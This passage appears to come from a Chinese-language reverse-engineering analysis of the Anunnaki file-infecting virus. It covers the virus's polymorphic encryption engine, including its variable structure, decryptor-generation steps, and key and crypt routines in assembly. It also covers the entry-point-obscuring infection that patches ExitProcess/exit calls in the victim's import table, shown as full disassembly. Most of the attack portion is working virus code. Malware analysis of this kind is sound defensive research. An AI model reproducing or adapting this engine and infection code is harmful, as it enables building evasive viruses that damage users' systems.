poly_vars struct poly_ptr_code_base_va dd ? ; 要加密数据的virtual-address poly_ptr_code_base_raw dd ? ; 要加密数据的raw-address poly_ptr_decrypt_buf_va dd ? ; poly_code_size dd ? ; 加密数据的size poly_code_entry_offset dd ? ; 加密数据的相对ep poly_decryptor_base dd ? ; 解密数据的地址(相对虚拟地址),指向virus_body,而不是开头的 Gen trash data. poly_decryptor_base_va dd ? ; 解密数据的virtual-address poly_decryptor_size dd ? ; 解密数据的size poly_options dd ? ; poly 的设置信息 poly_garbage_level dd ? ; 产生仿真无效指令的等级 (1-低 3-中 5-高) poly_read_mem_base dd ? ; poly_read_mem_size dd ? ;
poly_algo1 dd ? ; 加密算法定义(3种方案) poly_algo2 dd ? ; 滑动密钥算法(2种方案) poly_key dd ? ; encrypt key poly_slide_key dd ? ; slide key poly_ptr_reg dd ? ; 内存寻址时使用的register poly_key_reg dd ? ; 保存解密的密钥的register poly_loop_reg dd ? ; 循环计数 poly_store_reg dd ? ; mov_data_loop时有效 poly_junk_mem_reg dd ? ; 下面几个都是产生仿真无效指令的结构,之前已经分析过 poly_junk_mem_pos dd ? ; poly_reg_usage dd ? ; poly_random_seed dd ? ; poly_garbler_flags dd ? ; poly_entry_offset dd ? ;
poly_subroutines_count dd ? ; 仅在产生sub_call时有效 poly_subroutines_table db 1024 DUP(0) poly_vars ends
根据poly_vars里面数据(poly_algo1、poly_algo2)配置,可产生不同的加密方案。
整体的加密过程如下:
步骤 1 :进行初始化工作,调用PolyInit(清0,[poly_vars->poly_algo1 ~ poly_entry_offset],设置esp,ebp为使用的寄存器,初始化随机种子)
2 :为algo1随机选择一个加密算法,algo1支持3种加密方式(xor/add/sub),为algo2随机选择一个加密算法,algo2支持2种加密方式(add/sub)
3 :随机获得存储key寄存器,loop 寄存器,slide_key寄存器,同时产生一个32bit的key
4 :加密病毒数据,由4部分组成(Gen trash data + emulator instruction + virus body + Gen trash data)
5 :初始化生成解密的相关数据,如待解密数据地址等
6 :在解密代码当前地址处插入仿真无效指令(包含随机的递归层数,所以从引擎设计角度讲该值不宜设置过大)
7 :建立一个栈帧,push ebp / mov ebp,esp
8 :同步骤6
9 :产生一个loop结构,一个lea rx,key 指令
10:同步骤6
11:产生一个获得virus size给rx,可以通过 push imm / pop rx 、mov rx,imm 、lea rx,[imm]
12: 同步骤6
13:产生一个xor/add/sub [ptr_reg],key_reg 结构的指令,指向要解密的数据同key运算
14:同步骤6
15:产生一个(xor/add/sub key_reg,slide_key)结构的指令,slide_key 同 13步的中间结果运算
16:同步骤6
17:产生一个dec rx ,rx 为循环计数
18:同步骤6
19:产生一个loop
20 同步骤6 由于加解密算法的可逆关系,ope记录了加密时的操作顺序。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 产生密钥的算法很简单:
generate_key_32: push ecx push ebx mov ecx,4 generate_key_loop: mov eax,0ffh - 10 call random add eax,10 mov bl,al rol ebx,8 dec ecx test ecx,ecx jnz generate_key_loop mov eax,ebx pop ebx pop ecx retn ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 采用的加密算法是在选择不同逻辑操作的同时,配合滑动密钥,下面给出加解密的公式: X -- > 原始数据 Y -- > 加密后的数据 K -- > 32bit的密钥 S -- > 32bit的滑动密钥 L1 -- > 加密逻辑1(sub / add / xor) L2 -- > 加密逻辑2 (sub / add)
最终的加解密公式: Y1 = L1(X,K); Y = L2(Y1,S);
代码如下: ;key值保存在eax中
crypt_data: pushad mov edi,dword ptr [ebp].poly_ptr_code_base_raw mov ecx,dword ptr [ebp].poly_code_size mov ebx,dword ptr [ebp].poly_slide_key crypt_loop: cmp dword ptr [ebp].poly_algo1,1 je crypt_algo1 cmp dword ptr [ebp].poly_algo1,2 je crypt_algo2 xor dword ptr [edi],eax jmp crypt_algo_c crypt_algo1: sub dword ptr [edi],eax jmp crypt_algo_c crypt_algo2: add dword ptr [edi],eax crypt_algo_c: mov dword ptr [esp+1Ch],eax ; save eax cmp dword ptr [ebp].poly_algo2,1 je crypt_slide1 cmp dword ptr [ebp].poly_algo2,2 je crypt_slide2 xor eax,ebx jmp crypt_slide_c crypt_slide1: sub eax,ebx jmp crypt_slide_c crypt_slide2: add eax,ebx crypt_slide_c: inc edi loop crypt_loop mov dword ptr [esp+1Ch],eax ; save eax popad retn ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 具体的poly engine实现可参考ope src,为了便于分析,现将去除掉junk code后decryptor代码列出: 00A02D70 55 push ebp 00A02D71 8BEC mov ebp,esp 00A02D73 E8 00000000 call 00A02D78 00A02D78 5E pop esi 00A02D79 81C6 34B2BFFF add esi,FFBFB234 00A02D7F 81C6 54204000 add esi,402054 ;获得解密数据基址 00A02D85 E8 00000000 call 00A02D8A 00A02D8A 59 pop ecx 00A02D8B 81C1 22B2BFFF add ecx,FFBFB222 00A02D91 81C1 10000000 add ecx,10 00A02D97 BA 5D0B0000 mov edx,0B5D 00A02D9C 8B3E mov edi,dword ptr ds:[esi] 00A02D9E 8939 mov dword ptr ds:[ecx],edi 00A02DA0 83C6 04 add esi,4 00A02DA3 83C1 04 add ecx,4 00A02DA6 4A dec edx 00A02DA7 85D2 test edx,edx 00A02DA9 ^ 75 F1 jnz short 00A02D9C ; 分段解密 00A02DAB 8D0D B0BF804A lea ecx,dword ptr ds:[4A80BFB0] 00A02DB1 E8 00000000 call 00A02DB6 00A02DB6 5E pop esi 00A02DB7 81C6 F6B1BFFF add esi,FFBFB1F6 00A02DBD 81C6 C34D4000 add esi,404DC3 00A02DC3 68 702D0000 push 2D70 ; 0x2D70 ->virus size 00A02DC8 5A pop edx ; edx - > virus size 00A02DC9 010E add dword ptr ds:[esi],ecx ; algo1 00A02DCB 81E9 3B4390CD sub ecx,CD90433B ; 利用slide_key,产生一个新的key 00A02DD1 4E dec esi ; 去掉了junk code后的decryptor代码清晰,实际效果为decryptor完全混淆 00A02DD2 4A dec edx ; 很难辨认 00A02DD3 85D2 test edx,edx 00A02DD5 ^ 75 F2 jnz short 00A02DC9 00A02DD7 E8 00000000 call 00A02DDC 00A02DDC 59 pop ecx 00A02DDD 81C1 D0B1BFFF add ecx,FFBFB1D0 00A02DE3 81C1 EC0E0000 add ecx,0EEC 00A02DE9 51 push ecx 00A02DEA C3 retn
2.6 EPO technology实现
Anunnaki在EPO方面使用稳妥的技术,解析被感染文件的IAT,查找ExitProcess/exit/_exit函数,然后patch掉,该方法使得跟踪入口的emulator一定要等到程序退出时才会发现一些蛛丝马迹,当然也可以配合经验,检测前先对可疑的call进行分析,最大程度的找出exit点。
执行步骤: 1 定位被感染文件的options_header,检测是否有import_table 2 检测是否导入kernel32.dll msvcrt.dll 3 校验orignalFThunk,FirstThunk 4 检测导入APIs的名字是否有ExitProcess/exit/_exit,记录偏移地址 5 搜索code节,查找ff 15/ff 25 ,匹配call/jmp处的偏移地址 6 按配置,1 -- 相对call 的方式,0 -- 绝对call 的方式,patch掉原APIs调用,换成virus的ep。
Anunnaki EPO code: 00401226 /$ 60 pushad 00401227 |. 83EC 18 sub esp,18 0040122A |. 8BF4 mov esi,esp 0040122C |. 8BFE mov edi,esi 0040122E |. 33C0 xor eax,eax 00401230 |. B9 06000000 mov ecx,6 00401235 |. F3:AB rep stos dword ptr es:[edi] 00401237 |. 8B45 78 mov eax,dword ptr ss:[ebp+78] ; pe_opt_header 0040123A |. 8B40 68 mov eax,dword ptr ds:[eax+68] ; import_table 0040123D |. 85C0 test eax,eax 0040123F |. 0F84 B8000000 je Anunnaki.004012FD 00401245 |. E8 46010000 call <Anunnaki.RvaToRaw> 0040124A |. 8BD0 mov edx,eax 0040124C |> 837A 10 00 cmp dword ptr ds:[edx+10],0 00401250 |. 77 05 ja short <Anunnaki.check_dll1> 00401252 |. E9 86000000 jmp Anunnaki.004012DD 00401257 |> 8B42 0C mov eax,dword ptr ds:[edx+C] 0040125A |. E8 31010000 call <Anunnaki.RvaToRaw> 0040125F |. E8 A5FFFFFF call <Anunnaki.EPO_to_lower> ; 为后面的比较方面,转换成小写 00401264 |. 8138 6B65726E cmp dword ptr ds:[eax],6E72656B ; 'nrek' 0040126A |. 74 0D je short Anunnaki.00401279 ; 'cvsm' 0040126C |. 8138 6D737663 cmp dword ptr ds:[eax],6376736D 00401272 |. 74 05 je short Anunnaki.00401279 00401274 |> 83C2 14 add edx,14 ; size of directory entry 00401277 |.^ EB D3 jmp short Anunnaki.0040124C 00401279 |> 833A 00 cmp dword ptr ds:[edx],0 ; orignalFThunk 0040127C |. 77 05 ja short Anunnaki.00401283 0040127E |. 8B42 10 mov eax,dword ptr ds:[edx+10] 00401281 |. EB 02 jmp short Anunnaki.00401285 00401283 |> 8B02 mov eax,dword ptr ds:[edx] 00401285 |> E8 06010000 call <Anunnaki.RvaToRaw> 0040128A |. 8BD8 mov ebx,eax 0040128C |. 33C9 xor ecx,ecx 0040128E |> 833B 00 cmp dword ptr ds:[ebx],0 00401291 |.^ 74 E1 je short Anunnaki.00401274 00401293 |. 8B03 mov eax,dword ptr ds:[ebx] 00401295 |. E8 F6000000 call <Anunnaki.RvaToRaw> 0040129A |. 83C0 02 add eax,2 0040129D |. 8138 65786974 cmp dword ptr ds:[eax],74697865 ; ’tixe‘ 004012A3 |. 74 21 je short Anunnaki.004012C6 004012A5 |. 8138 5F657869 cmp dword ptr ds:[eax],6978655F ; ‘ixe_’ 004012AB |. 74 19 je short Anunnaki.004012C6 004012AD |. 8138 45786974 cmp dword ptr ds:[eax],74697845 ; ’tixE‘ 004012B3 |. 75 0B jnz short Anunnaki.004012C0 004012B5 |. 8178 04 50726F63 cmp dword ptr ds:[eax+4],636F7250 ; ’corP‘ 004012BC |. 75 02 jnz short Anunnaki.004012C0 004012BE |. EB 06 jmp short Anunnaki.004012C6 004012C0 |> 41 inc ecx 004012C1 |. 83C3 04 add ebx,4 004012C4 |.^ EB C8 jmp short Anunnaki.0040128E 004012C6 |> 50 push eax 004012C7 |. 8B42 10 mov eax,dword ptr ds:[edx+10] 004012CA |. 8D0488 lea eax,dword ptr ds:[eax+ecx*4] 004012CD |. 53 push ebx 004012CE |. 8B5D 78 mov ebx,dword ptr ss:[ebp+78] ; pe_opt_header 004012D1 |. 0343 1C add eax,dword ptr ds:[ebx+1C] ; add imagebase 004012D4 |. 5B pop ebx 004012D5 |. 83C6 04 add esi,4 004012D8 |. 8906 mov dword ptr ds:[esi],eax 004012DA |. 58 pop eax 004012DB |.^ EB E3 jmp short Anunnaki.004012C0 ; 搜索代码节,0xff0x15,0xff0x25 004012DD |> 8B5D 70 mov ebx,dword ptr ss:[ebp+70] ; pe_sect_headers 004012E0 |. 8B43 14 mov eax,dword ptr ds:[ebx+14] ; PointerToRawData 004012E3 |. 0345 48 add eax,dword ptr ss:[ebp+48] ; MappedImage 004012E6 |. 8B4B 10 mov ecx,dword ptr ds:[ebx+10] ; SizeOfRawData 004012E9 |> 66:8138 FF15 cmp word ptr ds:[eax],15FF 004012EE |. 74 12 je short Anunnaki.00401302 004012F0 |. 66:8138 FF25 cmp word ptr ds:[eax],25FF 004012F5 |. 74 0B je short Anunnaki.00401302 004012F7 |> 40 inc eax 004012F8 |. 49 dec ecx 004012F9 |. 85C9 test ecx,ecx 004012FB |.^ 75 EC jnz short Anunnaki.004012E9 004012FD |> 83C4 18 add esp,18 00401300 |. 61 popad 00401301 |. C3 retn 00401302 |> 50 push eax 00401303 |. 8B40 02 mov eax,dword ptr ds:[eax+2] 00401306 |. 56 push esi 00401307 |> 833E 00 /cmp dword ptr ds:[esi],0 0040130A |. 74 09 |je short Anunnaki.00401315 0040130C |. 3B06 |cmp eax,dword ptr ds:[esi] 0040130E |. 74 09 |je short Anunnaki.00401319 00401310 |. 83EE 04 |sub esi,4 00401313 |.^ EB F2 \jmp short Anunnaki.00401307 00401315 |> 5E pop esi 00401316 |. 58 pop eax 00401317 |.^ EB DE jmp short Anunnaki.004012F7 00401319 |> 83BD 84000000 00 cmp dword ptr ss:[ebp+84],0 ; 比较patch的方式 00401320 |. 74 02 je short Anunnaki.00401324 ; 1 -- 相对call 的方式 00401322 |. EB 27 jmp short Anunnaki.0040134B ; 0 -- 绝对call 的方式 00401324 <epo_relative_patch>|> 8B4424 04 mov eax,dword ptr ss:[esp+4] ; 要patch的地址给eax,即ff 15 /ff 25 的地址 00401328 |. E8 68000000 call Anunnaki.00401395 ; RawToVa 0040132D |. 85C0 test eax,eax 0040132F |.^ 74 E4 je short Anunnaki.00401315 00401331 |. FF85 80000000 inc dword ptr ss:[ebp+80] ; number_of_epo_patches 加1 00401337 |. 8B5D 7C mov ebx,dword ptr ss:[ebp+7C] ; decryptor_ep_VA - > eax 0040133A |. 2BD8 sub ebx,eax ; 得到相对偏移 0040133C |. 83EB 05 sub ebx,5 0040133F |. 8B4424 04 mov eax,dword ptr ss:[esp+4] ; 得到ff 15/ff 25 的地址偏移 00401343 |. C600 E8 mov byte ptr ds:[eax],0E8 ; 写入,产生一个call 00401346 |. 40 inc eax ; 跳过0xe8 00401347 |. 8918 mov dword ptr ds:[eax],ebx ; 产生一个call offset 00401349 |.^ EB CA jmp short Anunnaki.00401315 0040134B <epo_absolute_patch>|> 8B4424 04 mov eax,dword ptr ss:[esp+4] ; 得到ff 15/ff 25 的地址偏移 0040134F |. 8B5D 7C mov ebx,dword ptr ss:[ebp+7C] ; decryptor_ep_VA - > ebx 00401352 |. 8958 02 mov dword ptr ds:[eax+2],ebx ; 跳过 ff 15/ff 25,2个字节写入绝对偏移的地址 00401355 |. FF85 80000000 inc dword ptr ss:[ebp+80] 0040135B \.^ EB B8 jmp short Anunnaki.00401315 0040135D . 53 push ebx 0040135E . 51 push ecx 0040135F . 52 push edx 00401360 . 8B4D 78 mov ecx,dword ptr ss:[ebp+78] 00401363 . 2B41 1C sub eax,dword ptr ds:[ecx+1C] 00401366 /> 8B5D 70 mov ebx,dword ptr ss:[ebp+70] 00401369 |. 8B4D 74 mov ecx,dword ptr ss:[ebp+74] 0040136C |> 8B53 0C /mov edx,dword ptr ds:[ebx+C] 0040136F |. 3BC2 |cmp eax,edx 00401371 |. 72 0C |jb short Anunnaki.0040137F 00401373 |. 0353 08 |add edx,dword ptr ds:[ebx+8] 00401376 |. 3BC2 |cmp eax,edx 00401378 |. 72 09 |jb short Anunnaki.00401383 0040137A |. 83C3 28 |add ebx,28 0040137D |.^ E2 ED \loopd short Anunnaki.0040136C 0040137F |> 33C0 xor eax,eax 00401381 |. EB 09 jmp short Anunnaki.0040138C 00401383 |> 2B43 0C sub eax,dword ptr ds:[ebx+C] 00401386 |. 0343 14 add eax,dword ptr ds:[ebx+14] 00401389 |. 0345 48 add eax,dword ptr ss:[ebp+48] 0040138C |> 5A pop edx 0040138D |. 59 pop ecx 0040138E |. 5B pop ebx 0040138F |. C3 retn |